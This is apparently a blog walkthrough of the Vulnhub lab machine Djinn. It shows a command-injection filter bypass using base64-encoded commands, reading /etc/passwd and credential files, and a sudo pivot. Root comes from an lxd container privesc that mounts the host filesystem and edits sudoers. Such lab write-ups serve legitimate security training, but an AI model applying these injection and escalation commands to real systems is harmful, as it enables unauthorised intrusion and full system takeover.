Vulnhub: Djinn
Description
Level: Beginner-Intermediate
flags: user.txt and root.txt
Description: The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You’ll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux
You can download the box from vulnhub here.
Initial Scans
nmap -sn 192.168.110.0/24
Server is up on IP 192.168.110.134
sudo autorecon 192.168.110.134
Open Ports
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3
22/tcp filtered ssh no-response
1337/tcp open waste? syn-ack ttl 64
7331/tcp open http syn-ack ttl 64 Werkzeug httpd 0.16.0 (Python 2.7.15+)
21/tcp - vsftpd 3.0.3
Anonymous ftp is allowed
creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I’ve setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don’t mess up anything.
22/tcp - ssh
Port is filtered, possibly a sign of port knocking.
1337/tcp
Here’s the game we were told about
I’ll come back to this later after checking out the website. Looks like a script could be written to answer the questions or maybe there is a classic binary exploit.
looks like lots of digits might cause something - no response…
7331/tcp - Werkzeug httpd 0.16.0 (Python 2.7.15+)
Homepage
None of the links lead anywhere, nothing much in page source
Gobuster
I normally use directory-list-2.3-big.txt but this is huge and running against this Werkzeug webserver is slow.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -u http://192.168.110.134:7331 -o gobuster-root-raft-small-dir.txt
Tried with large, no additional. Tried busting /genie/XXX nothing additional, likely these are python endpoints and not actual directories.
Entering a “wish” at /wish sends a POST to /wish which redirects to /genie?name=
Unfortunately the genie didn’t grant my wish…
This isn’t actually a 403 response, it’s a 200
Entering some data in the name parameter puts the content in the response. Might be good for XSS but unlikely XSS will do anything on a boot2root box.
I’ll come back to this a bit later once I’ve had another look at the game port.
Back to the game port 1337
So after spending too long writing a PowerShell script to play the game, it finally returned the gift!
$VerbosePreference = "continue"
$Server = "192.168.110.134"
$Port = "1337"
$Script:TcpConnection = New-Object System.Net.Sockets.TcpClient($Server, $Port)
$Script:Stream = $TcpConnection.GetStream()
$Script:Writer = New-Object System.IO.StreamWriter($Stream)
$Writer.AutoFlush = $true
$Script:Bytes = New-Object System.Byte[] $TcpConnection.ReceiveBufferSize
$Script:Encoding = New-Object System.Text.AsciiEncoding
function ReadStream {
while (-not($Stream.DataAvailable)) {
start-sleep -m 100
}
while( $Stream.DataAvailable ) {
$Read = $stream.Read($Bytes, 0, $TcpConnection.ReceiveBufferSize )
$last = ($Encoding.GetString($Bytes, 0, $Read)).trim()
Write-Host $last -nonewline
}
Return $Last
}
$loopNo = 1..1005
foreach ($no in $loopNo) {
Write-Host "Starting Loop: $($No)" -Foregroundcolor Green
$last = ReadStream
$instruction = $last.Split("(")[-1]
if ($last -match "gift") {Write-Host $last -foregroundcolor Cyan}
if ($last -match "Wrong") {write-error "fucked" ; break}
[int]$num1 = $instruction.split(",").trim()[0]
$op = $instruction.split(",").trim()[1]
[int]$num2 = $instruction.split(",")[2].split(")")[0]
switch ($op) {
"'/'" {$answer = $num1/$num2 ; break}
"'*'" {$answer = $num1*$num2 ; break}
"'+'" {$answer = $num1+$num2 ; break}
"'-'" {$answer = $num1-$num2 ; break}
}
Write-Host " $($answer)" -Foregroundcolor Magenta
$Writer.WriteLine($answer)
}
$Writer.Close()
$TcpConnection.Close()
Looks like some port knocking ports to me!
We’re in bois!
Creds not working here…
back to the webserver to look for creds
It looks like some responses from /wish result in “Wrong+choice+of+words” in the response. I used intruder on /wish
to determine bad characters.
payload is all single printable characters to see what’s banned
sorting by length in the intruder window, the banned characters are
$ * . / ; ? ^ w
hold on… “w”? that’s weird… And the result length is 895 which is much bigger…
OK so this forwards us to http://192.168.110.134:7331/genie?name=+01%3A37%3A19+up+47+min%2C++0+users%2C++load+average%3A+0.01%2C+0.05%2C+0.02%0AUSER+++++TTY++++++FROM+++++++++++++LOGIN%40+++IDLE+++JCPU+++PCPU+WHAT%0A
looks like that’s the output from a command…
Perhaps we can do command injection.
Lol it’s just straight up type a command, get a result! There are just some bad characters to work around. I guess the clue is in the parameter name cmd
!
Here is a working call back ping
using IP DWORD encoding
$ipdword = 0 ; $num = 3 ; "192.168.110.128".split(".") | % {$ipdword += ([int]$_)*[math]::pow(256,$num) ; $num--} ; $ipdword
cmd=ping+-c+3+3232263808
Here’s my working bypass for “/” character. Just base64 encode your commands, then evaluate the base64 back into a command on the target.
ryu@kali-local:~$ echo -n "cat /etc/passwd" | base64
Y2F0IC9ldGMvcGFzc3dk
cmd=echo+-n+Y2F0IC9ldGMvcGFzc3dk+|+base64+-d+|+xargs+-I+{}+bash+-c+{}
Getting the output of app.py using above method shows us an interesting file - creds.txt
Getting the output of /home/nitish/.dev/creds.txt
kermithacking.gif
user.txt
running sudo -l
shows us a single command which can be run as sam
/usr/bin/genie
is a custom binary
nitish can run sudo -u sam /usr/bin/genie -p bash -c ls
which will spawn a shell as sam.
sam can run a single binary using sudo, but this time as root. Unfortunately the file cannot be read as sam and therefore attacking it is blind.
(root) NOPASSWD: /root/lago
sam is also in the lxd group so can create a container with root privs on the actual filesystem and write files as root.
Here is Conda’s excellent lxd video
And here’s all the commands
on attacker box
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder/rootfs/usr/share
sudo mkdir alpine-mirrors
cd alpine-mirrors/
echo "http://alpine.mirror.wearetriple.com" | sudo tee MIRRORS.txt
cd ../../../../
sudo ./build-alpine
ls -al
python -m SimpleHTTPServer
on target
cd /tmp
wget http://192.168.110.128:8000/alpine-v3.13-x86_64-20210401_2157.tar.gz
lxd init
hit enter through all prompts
lxc image import ./alpine-v3.13-x86_64-20210401_2157.tar.gz --alias privesc
lxc init privesc privesc-container -c security.privileged=true
lxc list
should now have STOPPED container
now map the root fs and spawn a shell
lxc config device add privesc-container mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc-container
lxc exec privesc-container /bin/sh
now you have root write to the original root file system in /mnt/root. So you could do something like:
chmod +w /mnt/root/etc/sudoers
vi /mnt/root/etc/sudoers # edit your user to be "user ALL=(ALL:ALL) ALL"
chmod -w /mnt/root/etc/sudoers
exit
rooted
intended route?
Now we have root, we can read the /root/lago
script (it can’t be read as sam so you’re attacking it blind normally.) The only function that results in anything other than a print statement is the random number game.
So I guess we need to work out how to send the same answer over and over until it’s correct.
I couldn’t work out how to send user input reliably so here is my quick and dirty method which involves typing “2, ENTER” over and over again!
while [ 1 ]; do sudo /root/lago; done
Awful hacky solution, but since the problem space is 1-100 it’s not too bad!
lol
This Medium post by Kanti Paul has a cool bypass for the whole box! Python injection in the “game” port 1337! Really impressed by this and a great trick to add to the toolbox!
Written with StackEdit.
No comments:
Post a Comment
Please be nice! :)